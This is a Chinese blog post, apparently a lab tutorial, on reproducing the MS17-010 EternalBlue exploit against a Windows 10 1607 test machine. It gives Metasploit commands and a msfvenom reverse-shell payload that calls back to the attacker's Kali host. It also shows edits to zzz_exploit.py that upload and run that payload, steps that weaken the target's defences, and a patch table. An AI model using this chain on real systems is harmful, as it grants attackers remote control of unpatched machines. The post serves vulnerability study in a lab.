0# 概述
MS17-010这个漏洞想必大家都已经很熟悉了吧,这里就不过多赘述(如果不了解的自行百度)
最近,乌鸦安全公众号的 crow
师傅想要在Win10上复现MS17-010(永恒之蓝)的漏洞,为此也在群里面引发了群友的讨论,但是群友们多次尝试都是失败的,于是便找到我
我发现目前互联网上,都没有记录Win10如何完美复现MS17-010的相关文章(有些文章也只是粗略的一笔带过,没有相关错误的解决方法),于是这里就记录一下Win10环境的MS17-010复现过程中碰到的坑点和利用方式吧
1# 正常MSF遇到的问题
有师傅就说:这TM的Kali自带的MSF不能复现吗?我直接MSF一把梭。
好,那我们直接用MSF一把梭看看结果:
msfconsole //启动MSF
search ms17-010 //搜索MSF相关模块
use 0 //使用exploit/windows/smb/ms17_010_eternalblue模块
show options //查看模块选项
set RHOSTS <目标靶机IP> //设置目标主机IP地址
set target 7 //切换Payload至Windows 10 Pro
exploit //使用模块进行攻击
可以看到,MSF的exploit模块能检测到目标机器存在漏洞,但是没办法回弹Session(会话)回来,所以我就开展了一系列的相关研究
是有一些版本的Win10能通过MSF一把梭,但是遇到不能一把梭的问题怎么办?所以本篇文章的意义就在于此
后面研究了一下,是命名管道的相关原因,可以看看先知社区的这篇文章: https://xz.aliyun.com/t/2151
关于Windows命名管道的深入学习,可以看这两篇文章: 1、FreeBuf:windows安全初探之命名管道 2、浅析Windows命名管道Named Pipe
2# 准备工作
- Win10 镜像(需要版本为1511和1607,其他版本有的也能复现,但是还是有问题)
- Kali Linux
- MS17-010(开源项目,但里面的代码需要改)
Windows10 x64 Version 1607(中文简体)下载
文件名:cn_windows_10_multiple_editions_version_1607_updated_jul_2016_x64_dvd_9056935.iso
SHA1:A2DDAA7BE3BB73FD87C29D6EF8E1EDF4C764DCD9
文件大小:4.05GB
发布时间:2016-08-02
下载地址(复制到迅雷等下载工具):
ed2k://|file|cn_windows_10_multiple_editions_version_1607_updated_jul_2016_x64_dvd_9056935.iso|4347183104|35EA5DB0F3BB714F5CE0740FB89D82D1|/
Kali Linux想必大家都有吧,没有请移步这里: https://www.kali.org/downloads/
3# 配置靶机
3.1 关闭防火墙
打开 控制面板->系统和安全->Windows防火墙 ,选择"启用或关闭 Windows 防火墙"
3.2 关闭Windows Defender
打开 Windows Defender->设置 ,关闭相关设置即可
因为本次只是打靶机而已,就仅仅用MSF生成的exe来回弹session,感觉用不上免杀就把Windows Defender关掉
当然免杀过Windows Defender也很简单,这个如果师傅们感兴趣可以后面出一些免杀相关的文章
3.3 更改组策略-1
使用 Win+R 快捷键,输入 gpedit.msc
打开本地组策略编辑器
找到 计算机配置->Windows 设置->安全设置->本地策略->安全选项 这里
找到 "网络访问:可匿名访问的共享" 并将其改成 \
3.4 更改组策略-2(可选)
感谢 takuya
师傅看到本篇文章后的整理复现,如果以上组策略配置好以后,check.py
和 zzz_exploit.py
回显以下结果,则是无法找到命名管道的原因:
# python2 checker.py <目标靶机IP>
Target OS: Windows 10 Pro 14393
The target is not patched
=== Testing named pipes ===
spoolss: STATUS_ACCESS_DENIED
samr: STATUS_ACCESS_DENIED
netlogon: STATUS_ACCESS_DENIED
lsarpc: STATUS_ACCESS_DENIED
browser: STATUS_ACCESS_DENIED
# python2 zzz_exploit.py <目标靶机IP>
Target OS: Windows 10 Pro 14393
Not found accessible named pipe
Done
这时候就需要在组策略里面多加一个配置:
即可稳定在Win10靶机上复现本漏洞
4# 攻击靶机过程
为了方便理解,这里我把我的内网地址放一下:
- Windows10 靶机地址:192.168.123.219
- Kali Linux地址:192.168.123.147
4.1 使用Poc进行测试
开源项目MS17-010: https://github.com/worawit/MS17-010/
这个开源项目是使用Python写的,并且要用Python2才能跑,首先要安装这两个模块:
pip2 install impacket==0.10.0
pip2 install netaddr
(这里pip2是我自己定义的别名,因为我电脑装了Python2和3两个版本,需要区分开)
正常直接使用pip安装即可
然后直接跑check.py,如下:
python2 checker.py <目标靶机IP>
如果回显 netlogon
状态为 OK
,则Poc测试成功漏洞可以利用
4.2 生成回弹session会话的exe
用MSF生成exe,这个想必大家都很熟悉吧:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Kali Linux的IP> LPORT=4444 -f exe -o 3.exe
中间没有报错就行了(报错一般生成的exe不能用,要么重装MSF要么换一个Kali)
4.3 使用Exp上线靶机回弹Session
4.3.1 修改Exp脚本
因为是Python,所以Poc和Exp在Kali和Win上面都能跑,所以我这里直接用Win演示
先把4.2用MSF生成的exe拷贝到Exp的同目录下:
然后修改 zzz_exploit.py
文件(实测不修改会利用失败)
搜索 smb_pwn(conn, arch)
,然后找到975行这个函数,将以下几条都注释掉:
print('creating file c:\\pwned.txt on the target')
tid2 = smbConn.connectTree('C$')
fid2 = smbConn.createFile(tid2, '/pwned.txt')
smbConn.closeFile(tid2, fid2)
smbConn.disconnectTree(tid2)
然后在下面添加两行代码:
smb_send_file(smbConn, '3.exe', 'C', '/system.exe')
service_exec(conn, r'cmd /c c:\\system.exe')
第一行是上传本地文件 3.exe
到目标靶机的 C:\\system.exe
第二行是执行命令 cmd /c c:\\system.exe
,即静默运行 system.exe
最终修改完毕的函数内容如下:
4.3.2 Kali监听会话回弹端口
使用Kali开启MSF监听端口:
msfconsole //启动MSF
use exploit/multi/handler //使用监听模块
show options //查看模块选项
set lhost <Kali Linux的IP> //设置Kali Linux接收会话的IP地址
set lport 4444 //设置Kali Linux接收会话的端口
set payload windows/meterpreter/reverse_tcp //切换Payload至reverse_tcp
exploit //使用模块进行监听
4.3.3 运行Exp,成功回弹Session
然后用Python2运行对应脚本即可:
python2 zzz_exploit.py <目标靶机IP> netlogon
python2 zzz_exploit.py <目标靶机IP>
两条都可以试试,一个不行换一个即可
然后可以在靶机上看到exe上传并运行成功了
这个时候,看Kali Linux监听的情况:
可以看到,Session回弹成功并可以执行相关操作了
附录
MS17-010 各系统及对应的补丁
| 系统 | 对应补丁 | |:--------------------------------------------:|:---------------------------------------:| | Windows Vista | KB4012598 | | Windows Xp | KB4012598 | | Windows Server 2008 | KB4012598 | | Windows 7 | KB4012212、KB4012215 | | Windows Server 2008 R2 | KB4012212、KB4012215 | | Windows 8.1 | KB4012213、KB4012216 | | Windows Server 2012 、 Windows Server 2012 R2 | KB4012213、KB4012214、KB4012216、KB4012217 | | Windows RT 8.1 | KB4012216 | | Windows 10 | KB4012216、KB4013198 | | Windows Server 2016 | KB4013198 |
Windows卸载补丁命令:
wusa /uninstall /kb:<补丁ID>
查看Windows补丁状态:
systeminfo
5# 总结
- MS17-010是非常古老的一个漏洞,同时也是非常经典的一个操作系统高危漏洞,对于它的深入研究和学习还是具有一定的技术价值的,在复现漏洞的过程中一路上还是会碰到这样那样的问题,但希望这篇文章能帮助一些需要帮助的师傅吧。
- 也有师傅觉得太老瞧不上这个漏洞,所以我想问几个问题:为啥这么经典的操作系统漏洞,能从Win7时代一直延续到Win10甚至Win12呢?为啥很多实际企业的生产业务没办法真正根治这个漏洞呢?这也是我们学习漏洞所需要探讨和深入的问题,透过现象看本质,是我们网安人学习路上必不可少的一环。
- 很多时候不要用自己的观念去看待问题,更多的应该用理性的眼光去看待问题。很多时候是我们自己的眼界限制了自己的技术,而不是我们的学习能力限制了自己的技术。